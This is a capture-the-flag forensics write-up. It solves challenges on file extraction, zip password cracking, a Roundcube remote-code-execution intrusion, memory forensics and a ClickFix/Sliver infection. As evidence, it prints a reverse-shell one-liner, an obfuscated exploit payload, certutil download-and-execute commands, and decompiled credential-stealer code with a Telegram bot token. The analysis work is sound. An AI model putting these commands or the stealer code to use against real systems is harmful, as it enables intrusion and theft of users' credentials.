# Sweet Secret - We are given a `.docx` file, reading it gives us nothing. So we are going to extract it. ```shell $ unzip 'Welcome.docx' ``` - Then we are given an AES Ciphertext in `docProps/secret.txt` ```shell! $ cat 'docProps/secret.txt' AES-data: 3d0d1fe78d2d8648ac15b5f51ad906fae58b54b89e680b8130188efc326392acb000b9956628c014f0dc9916aa9eef56 ``` - Inside `word/document.xml`, we can find the Key and IV ```xml <w:t>Key=make_pis_great_againnnnn,IV=123456789abcdefg</w:t>< ``` - Decrypting with CyberChef gives us the flag. ![rk3zXJze-l](https://hackmd.io/_uploads/HJ8CFhUzbl.jpg) ::: info **Note**: You can use this [link](https://cyberchef.atl.tools/#recipe=AES_Decrypt(%7B'option':'UTF8','string':'make_pis_great_againnnnn'%7D,%7B'option':'UTF8','string':'123456789abcdefg'%7D,'CBC','Hex','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&input=M2QwZDFmZTc4ZDJkODY0OGFjMTViNWY1MWFkOTA2ZmFlNThiNTRiODllNjgwYjgxMzAxODhlZmMzMjYzOTJhY2IwMDBiOTk1NjYyOGMwMTRmMGRjOTkxNmFhOWVlZjU2) to get the results. ::: Flag: `PIS{ha_y0u_c4n_n0t_s33_this_flag_r19ht??}` # Forgotten Key - We are given a password-protected `.zip` archive, which we will be cracking with John. ```shell! $ zip2john 'Secret.zip' > 'zip.hash' && john --wordlist='/usr/share/wordlists/rockyou.txt' 'zip.hash' Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 16 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status ryancolin1 (Secret.zip/unknown.png) 1g 0:00:00:00 DONE (2025-11-12 17:41) 3.846g/s 15879Kp/s 15879Kc/s 15879KC/s s-dub30..rubyredcamry Use the "--show" option to display all of the cracked passwords reliably Session completed ``` - The password is `ryancolin1`, extracting the archive gives us `unknown.png` file, but the header has been modified. ```sh! $ xxd 'unknown.png' | head 00000000: 0000 0000 0d0a 1a0a 0000 000d 4948 4452 ............IHDR 00000010: 0000 0400 0000 0400 0806 0000 007f 1d2b ...............+ 00000020: 8300 0000 9e65 5849 664d 4d00 2a00 0000 .....eXIfMM.*... 00000030: 0800 0202 1300 0300 0000 0100 0100 0087 ................ 00000040: 6900 0400 0000 0100 0000 2600 0000 0000 i.........&..... 00000050: 0490 0000 0700 0000 0430 3233 3291 0100 .........0232... 00000060: 0700 0000 0401 0203 0092 8600 0700 0000 ................ 00000070: 4200 0000 5ca0 0100 0300 0000 01ff ff00 B...\........... 00000080: 0000 0000 0041 5343 4949 0000 0049 6620 .....ASCII...If 00000090: 596f 7520 4c6f 6f6b 2055 7020 546f 2054 You Look Up To T ``` - We will fix the header so it becomes like so. ```sh! $ xxd 'unknown.png' | head 00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR 00000010: 0000 0400 0000 0400 0806 0000 007f 1d2b ...............+ 00000020: 8300 0000 9e65 5849 664d 4d00 2a00 0000 .....eXIfMM.*... 00000030: 0800 0202 1300 0300 0000 0100 0100 0087 ................ 00000040: 6900 0400 0000 0100 0000 2649 4441 5400 i.........&IDAT. 00000050: 0490 0000 0700 0000 0430 3233 3291 0100 .........0232... 00000060: 0700 0000 0401 0203 0092 8600 0700 0000 ................ 00000070: 4200 0000 5ca0 0100 0300 0000 01ff ff00 B...\........... 00000080: 0000 0000 0041 5343 4949 0000 0049 6620 .....ASCII...If 00000090: 596f 7520 4c6f 6f6b 2055 7020 546f 2054 You Look Up To T ``` - The result is the following image: ![upload_246a647082d2781fa0de6c3f19aa54c0](https://hackmd.io/_uploads/H1SYYnIGWg.jpg) - We can see a strange artifact at the top left corner of the image. - A slight editing of the image gives us the flag. ![upload_55fcdc3b766591fd4936e15bf57c3933](https://hackmd.io/_uploads/HJm5K3IMbe.jpg) ::: info **Note**: The intended method is to view the blue bit plane of the image. ::: Flag: `PIS{h4ll0w33n_1s_f4n!!!}` # Foothold > Flag format: `PIS{CVE_HOST:PORT_/path/to/persistence}` - This is a mailserver we need to check for a security breach. - Checking `/var/mail/root` gives us an email that has been sent to the Forensics Team. Which reads: ```! From www-data@forensicLab.com Mon Nov 3 13:34:51 2025 Return-Path: <www-data@forensicLab.com> X-Original-To: root Delivered-To: root@forensicLab.com Received: by mailserver.localdomain (Postfix, from userid 33) id 10F90121456; Mon, 3 Nov 2025 13:34:50 +0000 (UTC) To: root@forensicLab.com From: www-data@forensicLab.com Auto-Submitted: auto-generated Subject: *** SECURITY information for mailserver *** Message-Id: <20251103133451.10F90121456@mailserver.localdomain> Date: Mon, 3 Nov 2025 13:34:50 +0000 (UTC) mailserver : Nov 3 13:34:50 : www-data : user NOT in sudoers ; TTY=pts/1 ; PWD=/var/www/html/roundcube ; USER=root ; COMMAND=/usr/bin/crontab - ``` - This tells us that the user `www-data`, exploited the Roundcube mail server, then tried to setup a crontab. - A quick look inside (`/var/www/html/`) uses `Roundcube 1.6.10`. A quick look up on the internet gives us this Remote Code Execution CVE. ``` CVE-2025-49113 – Roundcube 1.6.10 Authenticated Remote Code Execution ⚠️ Disclaimer This repository is intended strictly for educational and research purposes. All demonstrations were performed in a controlled lab environment. Unauthorized testing or exploitation of systems without explicit permission is illegal and unethical. The author is not responsible for any misuse of this information. πŸ“Œ What Is Roundcube? Roundcube is a widely used, browser-based IMAP email client written in PHP. It provides a user-friendly interface for webmail access and is commonly deployed by hosting providers, academic institutions, and internal enterprise mail servers. 🚨 About the Vulnerability CVE-2025-49113 is a vulnerability affecting Roundcube version 1.6.10 that allows an authenticated user to achieve remote code execution (RCE) by submitting a crafted command through the webmail interface. Successful exploitation requires valid user credentials. Once exploited, it grants system-level command execution based on the web server's context. CVE ID: CVE-2025-49113 Affected Application: Roundcube 1.6.10 Vulnerability Type: Authenticated Remote Code Execution Exploit Type: Reverse Shell via PHP Payload Exploit Availability: Public GitHub PoC ``` > Source: https://github.com/CyberQuestor-infosec/CVE-2025-49113-Roundcube_1.6.10/blob/main/README.md - As the mailserver is hosted with `apache2`, we will read it's log in `/var/apache2/access.log`, the logs gives us this peculiar line. ```! 192.168.75.137 - - [03/Nov/2025:13:23:09 +0000] "POST /roundcube/?_from=edit-%21%C7%22%C7%3B%C7i%C7%3A%C70%C7%3B%C7O%C7%3A%C71%C76%C7%3A%C7%22%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%22%C7%3A%C71%C7%3A%C7%7B%C7S%C7%3A%C72%C76%C7%3A%C7%22%C7%5C%C70%C70%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%5C%C70%C70%C7_%C7g%C7p%C7g%C7c%C7o%C7n%C7f%C7%22%C7%3B%C7S%C7%3A%C71%C70%C74%C7%3A%C7%22%C7e%C7c%C7h%C7o%C7+%C7Y%C7m%C7F%C7z%C7a%C7C%C7A%C7t%C7Y%C7y%C7A%C7n%C7Z%C7X%C7h%C7l%C7Y%C7y%C7B%C7i%C7Y%C7X%C7N%C7o%C7I%C7C%C71%C7p%C7I%C7C%C7Y%C7%2B%C7L%C72%C7R%C7l%C7d%C7i%C79%C70%C7Y%C73%C7A%C7v%C7M%C7T%C7k%C7y%C7L%C7j%C7E%C72%C7O%C7C%C74%C73%C7N%C7S%C74%C7x%C7M%C7z%C7c%C7v%C7N%C7D%C7Q%C70%C7N%C7C%C7A%C78%C7J%C7j%C7E%C7n%C7C%C7g%C7%3D%C7%3D%C7+%C7%5C%C77%C7c%C7+%C7b%C7a%C7s%C7e%C76%C74%C7+%C7-%C7d%C7+%C7%5C%C77%C7c%C7+%C7s%C7h%C7%3B%C7%23%C7%22%C7%3B%C7%7D%C7i%C7%3A%C70%C7%3B%C7b%C7%3A%C70%C7%3B%C7%7D%C7%22%C7%3B%C7%7D%C7%7D%C7&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload HTTP/1.1" 200 812 "-" "-" ``` - This text is heavily obfuscated, the original command reads: ```sh $ echo '%21%C7%22%C7%3B%C7i%C7%3A%C70%C7%3B%C7O%C7%3A%C71%C76%C7%3A%C7%22%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%22%C7%3A%C71%C7%3A%C7%7B%C7S%C7%3A%C72%C76%C7%3A%C7%22%C7%5C%C70%C70%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%5C%C70%C70%C7_%C7g%C7p%C7g%C7c%C7o%C7n%C7f%C7%22%C7%3B%C7S%C7%3A%C71%C70%C74%C7%3A%C7%22%C7e%C7c%C7h%C7o%C7+%C7Y%C7m%C7F%C7z%C7a%C7C%C7A%C7t%C7Y%C7y%C7A%C7n%C7Z%C7X%C7h%C7l%C7Y%C7y%C7B%C7i%C7Y%C7X%C7N%C7o%C7I%C7C%C71%C7p%C7I%C7C%C7Y%C7%2B%C7L%C72%C7R%C7l%C7d%C7i%C79%C70%C7Y%C73%C7A%C7v%C7M%C7T%C7k%C7y%C7L%C7j%C7E%C72%C7O%C7C%C74%C73%C7N%C7S%C74%C7x%C7M%C7z%C7c%C7v%C7N%C7D%C7Q%C70%C7N%C7C%C7A%C78%C7J%C7j%C7E%C7n%C7C%C7g%C7%3D%C7%3D%C7+%C7%5C%C77%C7c%C7+%C7b%C7a%C7s%C7e%C76%C74%C7+%C7-%C7d%C7+%C7%5C%C77%C7c%C7+%C7s%C7h%C7%3B%C7%23%C7%22%C7%3B%C7%7D%C7i%C7%3A%C70%C7%3B%C7b%C7%3A%C70%C7%3B%C7%7D%C7%22%C7%3B%C7%7D%C7%7D%C7' | sed 's/C7//g' | tr -d '%' | sed 's/\+/ /g' 21223Bi3A03BO3A163A22Crypt_GPG_Engine223A13A7BS3A263A225C00Crypt_GPG_Engine5C00_gpgconf223BS3A1043A22echo YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY2BL2Rldi90Y3AvMTkyLjE2OC43NS4xMzcvNDQ0NCA8JjEnCg3D3D 5C7c base64 -d 5C7c sh3B23223B7Di3A03Bb3A03B7D223B7D7D ``` - This script executes a shell that decode this base64 strings and execute it. ``` YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC43NS4xMzcvNDQ0NCA8JjEnCg== ``` - Decoding the base64 string gives us ```shell $ echo 'YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC43NS4xMzcvNDQ0NCA8JjEnCg=='' | base64 -d bash -c 'exec bash -i &>/dev/tcp/192.168.75.137/4444 <&1' ``` - This command opens up port `4444` at `192.168.75.137`, which gives us the initial access address. - Going back, we also knew that user `www-data` also created a crontab, which on Linux is most likely stored in `/var/spool/cron/crontabs/` - Inside is a crontab that reads. ```cr # DO NOT EDIT THIS FILE - edit the master and reinstall. # (- installed on Mon Nov 3 13:35:29 2025) # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $) */5 * * * * /tmp/beacon001 >/dev/null 2>&1 ``` - This crontab executes the binary `beacon001` every 5 minutes. - Uploading `beacon001` on [VirusTotal](https://virustotal.com), tells us that this file is malicious. - Combine all the elements together to get the flag. Flag: `PIS{CVE-2025-49113_192.168.75.137:4444_/var/spool/cron/crontabs/www-data}` # JotDown - We are given a memory dump. We will use [**Volatility 3**](https://github.com/volatilityfoundation/volatility3) for this job. - First we will start by looking at the processes. ``` $ vol.py -f memdump.raw windows.pslist ... 4552 8976 msedge.exe 0xd20fe1167080 16 - 1 False 2025-11-03 18:11:46.000000 UTC N/A Disabled 6080 8976 msedge.exe 0xd20fdfba1080 25 - 1 False 2025-11-03 18:11:46.000000 UTC N/A Disabled 1440 8976 msedge.exe 0xd20fe15580c0 8 - 1 False 2025-11-03 18:11:57.000000 UTC N/A Disabled 7604 8976 msedge.exe 0xd20fdc052080 15 - 1 False 2025-11-03 18:12:01.000000 UTC N/A Disabled 7640 8976 msedge.exe 0xd20fdce53080 25 - 1 False 2025-11-03 18:12:01.000000 UTC N/A Disabled 4888 8976 msedge.exe 0xd20fdce020c0 26 - 1 False 2025-11-03 18:12:01.000000 UTC N/A Disabled ... ``` - We can see a bunch of **Microsoft Edge** activities. To see what the user was doing, we can dump **Edge's History Database** for inspection. - First, we need to find the virtual address of `%APPDATA%\Local\Microsoft\Edge\User Data\Default\History`. ```sh! $ vol.py -f memdump.raw windows.filescan | grep 'History' ... 0xd20fe091f300 \Users\nh0kt1g3r12\AppData\Local\Microsoft\Edge\User Data\Default\History ``` - In this cases it would be `0xd20fe091f300`. After that, we need to dump the exact virtual address to get the file. ``` $ vol -f memdump.raw windows.dumpfile --virtaddr 0xd20fe091f300 Volatility 3 Framework 2.27.0 Progress: 100.00 PDB scanning finished Cache FileObject FileName Result DataSectionObject 0xd20fe091f300 History file.0xd20fe091f300.0xd20fe0aba8c0.DataSectionObject.History-1.dat SharedCacheMap 0xd20fe091f300 History file.0xd20fe091f300.0xd20fde3db4f0.SharedCacheMap.History-1.vacb ``` - Which will give us: `file.0xd20fe091f300.0xd20fe0aba8c0.DataSectionObject.History.dat`. - Inspecting the database gives us this link to a locked PasteBin: https://pastebin.com/rmXj1eCt. ![pas](https://hackmd.io/_uploads/SkkAqs8-Zg.jpg) - The user probably **Jot Down** the password somewhere. ```! $ vol.py -f memdump.raw windows.filescan | grep 'Note' ... 0xd20fe058ebf0 \Users\nh0kt1g3r12\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\LocalState\TabState\703f5836-f2e4-43c0-8522-59e788aa06de.bin.tmp ``` - We now have a **Notepad Tab State**, which is used to store temporary data for **Notepad**. Read more: https://insiderthreatmatrix.org/detections/DT061. - We can extract this **Tab State** and read the contents ```! $ vol -f memdump.raw windows.dumpfile --virtaddr 0xd20fe058ebf0 Volatility 3 Framework 2.27.0 Progress: 100.00 PDB scanning finished Cache FileObject FileName Result DataSectionObject 0xd20fe058ebf0 703f5836-f2e4-43c0-8522-59e788aa06de.bin.tmp file.0xd20fe058ebf0.0xd20fe0489b40.DataSectionObject.703f5836-f2e4-43c0-8522-59e788aa06de.bin.tmp.dat ``` - We can read the **Tab State** with `strings -n 1` ```! $ strings -n 1 file.0xd20fe058ebf0.0xd20fe0489b40.DataSectionObject.703f5836-f2e4-43c0-8522-59e788aa06de.bin.tmp.dat | tr -d \n NPAcDDH_C507_F?5olF ``` - Our password is `AcDDH_C507_F?5`. But this piece of text looks like it have been encoded with ROT47. Which we can decode with **CyberChef**. :::info **Note**: You can use this [link](https://cyberchef.atl.tools/#recipe=ROT47(47)&input=QWNEREhfQzUwN19GPzU) to get the results. ::: ![rot](https://hackmd.io/_uploads/r11e12UbZg.jpg) - So our password is `p4ssw0rd_f0und`. - After that we can type in our password in the [**PasteBin**](https://pastebin.com/rmXj1eCt) link to get the flag. ![p](https://hackmd.io/_uploads/BJXjy2L-bl.jpg) :::info **Note**: If you can't access PasteBin, you can use [this frontend](https://pasted.drakeerv.com/rmXj1eCt) to access the flag. ::: Flag: `PIS{fr0m_f4n_n3r0_w1th_l0v3}` # FixFixFix > Dear IR Team, > > A client reported system issues after encountering an online verification page during normal web browsing. Following interaction with this interface, their workstation showed signs of compromise. > > We detected suspicious activities including unusual process executions, external network connections, and system configuration changes. Evidence suggests malware installation with persistence mechanisms and credential harvesting capabilities. > > The device is isolated. Please investigate. ![thumbnail](https://camo.githubusercontent.com/c924212a0532ea3f2701ac1300e8fb58f7a3446a44f65ba700cb562c21274759/68747470733a2f2f617263746963776f6c662e636f6d2f77702d636f6e74656e742f75706c6f6164732f323032352f30332f436170746368612e706e67) - We are given a Raw Disk Image, a Memory Dump and a Packet Capture. ## Question 1 > What initial access technique was used to lure the user to deploy the malware? - Looking from the thumbnail image, we can see that this site is **mimicking** Google's CAPTCHA to trick the user into executing malicious code. - According to Mitre ATT&CK: > An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a Command and Scripting Interpreter. One such strategy is "**ClickFix**," in which adversaries present users with seemingly helpful solutionsβ€”such as prompts to fix errors or complete **CAPTCHAs**β€”that instead instruct the user to copy and paste malicious code. Answer: `ClickFix`. ## Question 2 > What is the exact date and time of initial compromise? - We know that the user executed a command by launching a Terminal, then pasting the malicious Powershell code and executed it. Which we can extract the time from the `RunMRU` key from the `NTUSER.DAT` registry. - We will be using [**RegRipper**](https://github.com/keydet89/RegRipper3.0) for this job. ```! RunMru Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU LastWrite Time 2025-11-09 01:02:22Z MRUList = a a cmd.exe /c certutil -urlcache -split -f "http://192.168.20.3/cailonmemay.exe" "%TEMP%\svhost.exe" && "%TEMP%\svhost.exe" && timeout 3\1 ``` - We can see the Last Write Time was at `2025-11-09 01:02:22`. Answer: `2025-11-09 01:02:22`. ## Question 3 > What is the MITRE ATT&CK ID of the 1st stage downloader? - According to **Microsoft**. ![clickchain](https://www.microsoft.com/en-us/security/blog/wp-content/uploads/2025/08/Fig1-Typical-ClickFix-attack-chain-1.webp) - This malware is used to download another malware - A quick look up gives us this information from MITRE ATT&CK: > Adversaries may **transfer tools** or other files from an **external system** into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer). - This is found under ID **T1105**. Answer: `T1105`. ## Question 4 > When was the malware first executed on the system? - From the executed command: ```! $ cmd.exe /c certutil -urlcache -split -f "http://192.168.20.3/cailonmemay.exe" "%TEMP%\svhost.exe" && "%TEMP%\svhost.exe" && timeout 3\1 ``` - The attacker used `certutil` to download the malware `cailonmemay.exe` and disguised it as `svhost.exe` - which looks like a common Windows Task `svchost.exe` - We can determine the start time using the given Memory Dump using [**Volatility 3**](https://github.com/volatilityfoundation/volatility3). ```! $ $ vol -f evidence.dmp.raw windows.pslist | grep svhost.exe 12984ess125920.0svhost.exe 0xb68365a9f0c0 12 - 1 False 2025-11-09 01:02:29.000000 UTC N/A Disabled ``` - Here, we can see the start time. Answer: `2025-11-09 01:02:29`. ## Question 5 > What is the malware family? - We will start by extracting the malware from the Packet Capture with `tshark`. - From the Packet Capture, the malicious code made a **GET** request to download the malware. Which is then reassembled in Frame **12472** ![cailo](https://hackmd.io/_uploads/SJI1uhUbWx.jpg) - We can then extract the malware. ```! $ tshark -r captured.pcapng -Y 'frame.number == 12472' -T fields -e media.type | xxd -r -p > cailonmemay.exe ``` - We can then upload this file to [**VirusTotal**](https://www.virustotal.com) for inspection. ![skiver](https://hackmd.io/_uploads/Bkbc5RwZWe.jpg) :::info **Note**: You can get the results of the scan [here](https://www.virustotal.com/gui/file/010f4d3ba696d52347e5dd47d8bc7c3e319a8c3aa3cf9a00cfe863d74b6e3cdc). ::: Answer: `Sliver`. ## Question 6 > When was the malware first found in the wild? - Looking at the report again [here](https://www.virustotal.com/gui/file/010f4d3ba696d52347e5dd47d8bc7c3e319a8c3aa3cf9a00cfe863d74b6e3cdc/details). ![image](https://hackmd.io/_uploads/HJmfoRPZWl.png) - The first submission was on `2025-11-08 08:41:54` Answer: `2025-11-08 08:41:54`. ## Question 7 > What is the full path of persistence? - We will start by checking the **Windows Defenders Log** stored under `C:\ProgramData\Microsoft\Windows Defender\Support\MPLog-20251103-010413.log` ```! 2025-11-09T01:06:48.021 DETECTION_MERGE#2 Trojan:Win32/SuspGolang.AG winlogonshell:HKCU@S-1-5-21-3558265190-190559637-539419846-1000\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\\SHELL:cmd.exe /c certutil -urlcache -split -f http://192.168.20.3/cailonmemay.exe %TEMP%\svhost.exe & %TEMP%\svhost.exe & timeout 3 & del %TEMP%\svhost.exe PropBag [length: 0, data: (null)] ``` - Windows Defenders detected a Registry Change on `HKCU@S-1-5-21-3558265190-190559637-539419846-1000\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\\SHELL` Answer: `HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell`. ## Question 8 > What is the MITRE ATT&CK ID of the persistence technique? - A quick lookup gives us the [**Winlogon Helper DLL**](https://attack.mitre.org/techniques/T1547/004) Persistence Technique. According to **MITRE ATT&CK**: > Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. **Registry entries in `HKLM\Software[\Wow6432Node\]\Microsoft\Windows NT\CurrentVersion\Winlogon\` and `HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\` are used to manage additional helper programs and functionalities that support Winlogon.** - This technique falls under ID: `T1547.004`. Answer: `T1547.004`. ## Question 9 > What IP address and port was used for C2 communications? - Looking at the [VirusTotal analysis] again: ![25111764421753](https://hackmd.io/_uploads/SyDE0-_Wbx.png) - The Malware makes **HTTP Requests** only to `192.168.20.3:8888` to communicate. Answer: `192.168.20.3:8888`. ## Question 10 > When was the first C2 command executed? - According to [this blog post](https://www.immersivelabs.com/resources/blog/detecting-and-decrypting-sliver-c2-a-threat-hunters-guide#command-and-control): > ## Structure > Sliver uses file extensions to determine what type of request is being made **.woff** – Used for stagers **.html** – Key exchange messages **.js** – Long poll messages **.php** – Session messages **.png** – Close session messages - Inspecting our Packet Capture again, this was the first C2 command: ![image](https://hackmd.io/_uploads/ByHsyG_W-x.png) - This C2 command was sent at: ![image](https://hackmd.io/_uploads/HkxRyfdbbe.png) Answer: `2025-11-09 01:02:30`. ## Question 11 > How many different commands did the attacker execute? - We will now need to decode the the C2 traffic from the Packet Capture file. We will be using `sliver_parse_pcap` and `sliver_decrypt` from https://github.com/Immersive-Labs-Sec/SliverC2-Forensics. :::info **Note**: Because `sliver_parse_pcap` didn't parse the Packet Capture correctly, I have a `sliver_decrypt` fork that fixes the input [here](https://codeberg.org/devobass/VERY-evil-sliver-decrypt-fork). ::: - First we parse the Packet Capture. ```shell! $ sliver_parse_pcap --pcap captured.pcapng --filter http --domain_name "192.168.20.3" ``` - After that, we will dump the malware's process out to find the key faster. ```shell! $ vol -f evidence.dmp.raw windows.memmap.MemMap --pid 12984 --dump ``` - Then we will let the script brute-force the key with the process dump. ```shell! $ sliver_decrypt --key "695d219063e6c41c5678ce0264c46dafa9454ed39c59f9eb8d03677119a2dfae" --transport http --file_path http-sessions.json ... [+] Processing: http://192.168.20.3:8888/bundles/javascript/scripts/bundles/bundles/bundle/jquery.js?x=20591x323 β”œβ”€β”€ [-] Decoding: gzip β”œβ”€β”€ [-] Session Key: 695d219063e6c41c5678ce0264c46dafa9454ed39c59f9eb8d03677119a2dfae └── [-] Message Type: 22 └── [=] Message Data: reg add... ... [+] Processing: http://192.168.20.3:8888/jquery.min.js?m=545718t0 β”œβ”€β”€ [-] Decoding: gzip β”œβ”€β”€ [-] Session Key: 695d219063e6c41c5678ce0264c46dafa9454ed39c59f9eb8d03677119a2dfae └── [-] Message Type: 22 └── [=] Message Data: iiwr... ... [+] Processing: http://192.168.20.3:8888/namespaces/db/admin.php?q=45713v197 β”œβ”€β”€ [-] Decoding: hex β”œβ”€β”€ [-] Session Key: 695d219063e6c41c5678ce0264c46dafa9454ed39c59f9eb8d03677119a2dfae └── [-] Message Type: 22 └── [=] Message Data: hwr http://192.168.20.3/concacbamay.exe -o "$env:TEMP\explorer.exe"; & "$env:TEMP\explorer.exe"; sleep 2 [+] Processing: http://192.168.20.3:8888/oauth/oauth2callback/oauth2/authenticate/login.php?n=68g51720t1 β”œβ”€β”€ [-] Decoding: b64 β”œβ”€β”€ [-] Session Key: 695d219063e6c41c5678ce0264c46dafa9454ed39c59f9eb8d03677119a2dfae └── [-] Message Type: 22 └── [=] Message Data: === MICROSOFT EDGE PASSWORD EXTRACTOR ===Starting Edge password extraction... Edge encryption key extracted successfully Processing Edge profile: Default Extracted 1 passwords from profile DefaultExtracted 1 passwords from EdgeExtracted 1 Edge passwords, preparing encryption...Original data size: 249 charactersEncrypted data size: 344 charactersSending 1 encrypted chunks... Chunk 1/1 sent successfullyTransmission complete: 1 chunks sentEncrypted Edge data sent to Telegram @b ... ``` - We can see that the attacker executed **3** commands on the victim's computer. Answer: `3`. ## Question 12 > What is the full command used to download and exfiltrate user credentials? - Reading the commands again, the attacker executed this command: ```! $ hwr http://192.168.20.3/concacbamay.exe -o "$env:TEMP\explorer.exe"; & "$env:TEMP\explorer.exe"; sleep 2 ``` - Which was then replied with: ```! === MICROSOFT EDGE PASSWORD EXTRACTOR ===Starting Edge password extraction... Edge encryption key extracted successfully Processing Edge profile: Default Extracted 1 passwords from profile DefaultExtracted 1 passwords from EdgeExtracted 1 Edge passwords, preparing encryption...Original data size: 249 charactersEncrypted data size: 344 charactersSending 1 encrypted chunks... Chunk 1/1 sent successfullyTransmission complete: 1 chunks sentEncrypted Edge data sent to Telegram ``` - So the attacker exfiltrated the user's **Microsoft Edge** credentials to **Telegram**. Answer: `hwr http://192.168.20.3/concacbamay.exe -o "$env:TEMP\explorer.exe"; & "$env:TEMP\explorer.exe"; sleep 2` ## Question 13 > Where did the attacker exfiltrate browser credentials to? - From our previous question, we knew that the attacker exfiltrated the credentials to **Telegram**. Answer: `Telegram`. ## Question 14 > What are the exfiltrated credentials? (username:password) - We knew that the attacker downloaded another Malware through the C2 channel. - We also know that the Malware's name is `concacbamay.exe`. Checking the Packet Capture again: ![image](https://hackmd.io/_uploads/SylMIrKbbg.png) - The attacker made a **GET** request and the binary was reassembled in frame `40053` - We will extract the Malware from the Packet Capture file with `tshark` ```shell! $ tshark -r captured.pcapng -Y 'frame.number == 40053' -T fields -e media.type | xxd -r -p > concacbamay.exe ``` - Using [**`exe-file-analyzer`**](https://github.com/piplarsson/exe-file-analyzer), we can check what type of binary is this malware. ```shell! $ exe-file-analyzer 'concacbamay.exe' β”Œβ”€ DETECTED LANGUAGE/COMPILER ─────────────────────────────┐ β”‚ βœ… Python (confidence: high) β”‚ β”‚ βœ… Java/JAR (confidence: medium) β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ ``` - Another quick examination confirms that this is indeed a Python executable. ```shell $ strings 'concacbamay.exe' ... bunicodedata.pyd bwin32\win32api.pyd bwin32\win32crypt.pyd bwin32\win32evtlog.pyd bzstandard\_cffi.cp313-win_amd64.pyd bzstandard\backend_c.cp313-win_amd64.pyd opyi-contents-directory _internal zPYZ.pyz 9python313.dll ``` - Fortunately, we can easily reverse-engineer Python executables. - We will first turning the executable into Python Bytecode with `pyinstxtractor` :::info **Note**: You can also use [this website](https://pyinstxtractor-web.netlify.app/). ::: ```shell! $ pyinstxtractor.py 'concacbamay.exe' [+] Processing concacbamay.exe [+] Pyinstaller version: 2.1+ [+] Python version: 3.13 [+] Length of package: 16036748 bytes [+] Found 115 files in CArchive [+] Beginning extraction...please standby [+] Possible entry point: pyiboot01_bootstrap.pyc [+] Possible entry point: pyi_rth_inspect.pyc [+] Possible entry point: pyi_rth_pkgutil.pyc [+] Possible entry point: pyi_rth_multiprocessing.pyc [+] Possible entry point: pyi_rth_cryptography_openssl.pyc [+] Possible entry point: pyi_rth_setuptools.pyc [+] Possible entry point: pyi_rth_pkgres.pyc [+] Possible entry point: mal.pyc [+] Found 787 files in PYZ archive [!] Error: Failed to decompress PYZ.pyz_extracted/jaraco.pyc, probably encrypted. Extracting as is. [!] Error: Failed to decompress PYZ.pyz_extracted/setuptools/_distutils/compilers.pyc, probably encrypted. Extracting as is. [!] Error: Failed to decompress PYZ.pyz_extracted/setuptools/_distutils/compilers/C.pyc, probably encrypted. Extracting as is. [!] Error: Failed to decompress PYZ.pyz_extracted/setuptools/_vendor.pyc, probably encrypted. Extracting as is. [!] Error: Failed to decompress PYZ.pyz_extracted/setuptools/_vendor/jaraco.pyc, probably encrypted. Extracting as is. [+] Successfully extracted pyinstaller archive: concacbamay.exe You can now use a python decompiler on the pyc files within the extracted directory. ``` - Inside the extracted binary, we can see `mal.py` ``` $ ls . β”œβ”€β”€ ... β”œβ”€β”€ mal.pyc └── ... ``` - We will then decompile the bytecode with https://pylingual.io. - Inside the source code, we can see some important functions. ```python ... BOT_TOKEN = '8332646887:AAHZLz-lcC8K_S2XUfJy7PmlXol5XaERVP8' CHAT_ID = '-1002796536763' ... def get_encryption_key(): """Generate AES key from computer name""" # inserted computer_name = os.environ['COMPUTERNAME'] key_hash = hashlib.sha256(computer_name.encode()).digest() key = key_hash iv = key_hash[(-16):] return (key, iv) def encrypt_data(data, key, iv): """Encrypt data with AES-CBC with proper padding""" # inserted cipher = AES.new(key, AES.MODE_CBC, iv) data_bytes = data.encode('utf-8') pad_length = 16 - len(data_bytes) % 16 padded_data = data_bytes + bytes([pad_length] * pad_length) encrypted = cipher.encrypt(padded_data) return base64.b64encode(encrypted).decode('utf-8') def send_encrypted_chunks(data, telegram): """Encrypt data and send as chunks to Telegram""" # inserted key, iv = get_encryption_key() encrypted_data = encrypt_data(data, key, iv) print(f'Original data size: {len(data)} characters') print(f'Encrypted data size: {len(encrypted_data)} characters') max_chunk_size = 3500 chunks = [encrypted_data[i:i + max_chunk_size] for i in range(0, len(encrypted_data), max_chunk_size)] 